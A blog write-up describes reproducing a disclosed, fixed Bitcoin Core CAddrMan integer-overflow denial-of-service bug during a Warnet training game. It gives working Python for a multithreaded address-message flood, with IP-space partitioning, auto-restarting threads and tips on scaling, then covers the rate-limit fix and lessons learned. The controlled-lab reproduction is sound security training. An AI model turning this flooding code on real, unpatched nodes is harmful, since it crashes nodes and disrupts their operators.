Exploiting the Bitcoin Core CAddrMan Integer Overflow Vulnerability in Warnet: Battle of Galen Erso
by jgmontoya
On July 31, 2024, Bitcoin Core disclosed a historical vulnerability that allowed attackers to crash Bitcoin nodes through address message spam. Originally discovered by Eugene Siegel and fixed in Bitcoin Core v22.0, this issue demonstrates how even simple integer overflow bugs can have significant security implications.
The Vulnerability
The flaw centered on Bitcoin Core’s address manager (CAddrMan
), which maintains a list of known peer addresses. Every time a new address is added, a 32-bit counter (nIdCount
) is incremented to generate a unique identifier.
The critical problem was that this counter could overflow after 2^32 insertions, triggering an assertion failure and crashing the node.
Since address messages are essentially free to send (unlike transactions that require fees or blocks that require proof-of-work), this presented an effective denial-of-service attack vector.
Reproducing in Warnet: Battle of Galen Erso
Thanks to my previous participation in Librería de Satoshi’s B4OS (b4os.dev) program, I was invited to take part in Chaincode Labs’ Battle of Galen Erso, a game designed as part of their BOSS program (more information here). I participated as a member of the “Aqua” team.
The game set up a custom Warnet network, having nodes running various versions of Bitcoin Core, each with different vulnerabilities. The goal was to take down as many nodes as possible by exploiting these weaknesses. You can find the specific details here.
I created a scenario to demonstrate the CAddrMan
integer overflow vulnerability in this controlled environment, and I successfully took down a couple of nodes using the exploit. The main ingredients of the exploit were:
- Multiple attacker threads: Systematically generating and sending address messages in concurrent threads.
- Robust thread failure handling: Automatically restarting threads to ensure the exploit continued.
- IP address space partitioning: Assigning each thread a unique segment of the IP address space to avoid duplicate transmissions.
Below is a look at the key parts of the exploit.
Threading
The exploit launches multiple threads that send address messages concurrently. Each thread is assigned a unique first octet, ensuring that no two threads send the same addresses thus maximizing efficiency.
When the scenario starts, it creates a number of threads based on the self.total_threads
test parameter (I could have accepted this as a command-line argument, but I opted for simplicity). For example, I set self.total_threads
to 24 and designated the victim node via the self.victim
parameter:
class AddrSpammer(Commander):
def set_test_params(self):
self.num_nodes = 1
self.total_threads = 24
self.victim = "tank-0139-aqua.default.svc"
...
Next, we start the threads, each with its own unique first octet (explained below). Each thread executes the spam_from method, which contains the main logic of the exploit. Meanwhile, the main thread monitors all worker threads and restarts any that fail:
def run_test(self):
...
self.first_octets = random.sample(range(1, 255), self.total_threads)
for thread_index in range(self.total_threads):
self.counters.append(0)
thread = threading.Thread(
target=lambda thread_index=thread_index: self.spam_from(thread_index),
daemon=False,
)
self.threads.append({"thread": thread, "thread_index": thread_index})
thread.start()
while len(self.threads) > 0:
for thread in self.threads:
if not thread["thread"].is_alive():
thread_index = thread["thread_index"]
self.log.info(f"restarting thread {thread_index}")
self.first_octets[thread_index] = self._get_new_first_octet()
thread["thread"] = threading.Thread(
target=lambda thread_index=thread_index: self.spam_from(
thread_index
),
daemon=False,
)
thread["thread"].start()
time.sleep(10)
Main Exploit Logic
The spam_from
method is where the action happens. In this method, we first connect to the victim node using the P2PInterface
class.
Then, we enter an infinite loop that continuously sends address messages to the target.
Note that we use send_message
(instead of send_and_ping
) since we do not need responses, we simply want to flood the node as quickly as possible.
def spam_from(self, thread_index):
self.log.info(f"Thread {thread_index} attacking {self.victim}")
attacker = P2PInterface()
attacker.peer_connect(
dstaddr=self.dstaddr, dstport=self.dstport, net="signet", timeout_factor=1
)()
attacker.wait_until(lambda: attacker.is_connected, check_connected=False)
while True:
msg = self.setup_addr_msg(thread_index)
attacker.send_message(msg)
Address Generation
To avoid sending duplicate addresses, we partition the IP space among threads. Each thread uses a unique first octet (from self.first_octets
) and maintains its own counter (self.counters
) to generate unique addresses on every iteration. We send addresses in batches of 1000 as this is the maximum number allowed in a single address message (see Bitcoin Core source code).
def setup_addr_msg(self, thread_index):
counter = self.counters[thread_index]
addrs = []
for i in range(1000):
addr = CAddress()
addr.nServices = P2P_SERVICES
addr.ip = f"{self.first_octets[thread_index]}.{(counter >> 16) & 0xFF}.{(counter >> 8) & 0xFF}.{counter & 0xFF}"
addr.port = 1 + ((counter >> 24) + i) % 65535
self.counters[thread_index] += 1
addrs.append(addr)
Scaling Beyond Threads
This, as explained above, works. However, you might find that it’s still slow. While the multithreaded approach helps mitigate the blocking nature of sending messages, Python’s Global Interpreter Lock (GIL) means that true parallelism is limited. The simplest way to scale the exploit further is to run multiple instances of the scenario concurrently. This is why the first octets are generated using a random seed.
You might have noticed the following in the thread restart logic:
self.first_octets[thread_index] = self._get_new_first_octet()
thread["thread"] = threading.Thread(
target=lambda thread_index=thread_index: self.spam_from(thread_index),
daemon=False,
)
The _get_new_first_octet
is implemented as follows:
def _get_new_first_octet(self):
new_first_octet = random.randint(1, 255)
while new_first_octet in self.first_octets:
new_first_octet = random.randint(1, 255)
return new_first_octet
This assigns a new random first octet to the thread upon restart. Although it doesn’t guarantee that threads across different scenario instances are completely distinct, it is sufficient to make the attack work within minutes when running enough instances (provided there’s enough resources available). As you increase both the thread count and the number of scenario instances, you’ll notice from the logs that threads begin failing more frequently, hence the need for an automatic restart mechanism.
Attack Impact and Mitigation
The attack requires sending more than 4 billion addresses to trigger the overflow. While this might seem like a lot, with multiple threads and optimized message generation, it’s achievable in a reasonable timeframe. The fix implemented in Bitcoin Core v22.0 adds a rate limit of one address message per 10 seconds (0.1 per second) with bursts of up to 1000 addresses at once from each peer via a token bucket, making the attack impractical.
The vulnerability highlights the importance of:
- Careful handling of numeric types and potential overflows
- Rate-limiting peer messages that are essentially free to generate
- Protecting against resource exhaustion attacks in peer-to-peer networks
Lessons Learned
This vulnerability demonstrates how “free” peer-to-peer messages can be exploited for denial-of-service attacks. The simple yet effective fix, rate limiting, shows that even when a technical issue (like an integer overflow) remains theoretically possible, practical defenses can make it infeasible to exploit.
Reproducing such vulnerabilities in controlled environments like Warnet is invaluable for:
- Validating security fixes
- Training developers and security researchers
- Testing network resilience
- Developing and verifying detection mechanisms
As Bitcoin continues to evolve, thorough testing and careful attention to implementation details remain critical for maintaining network security.
Back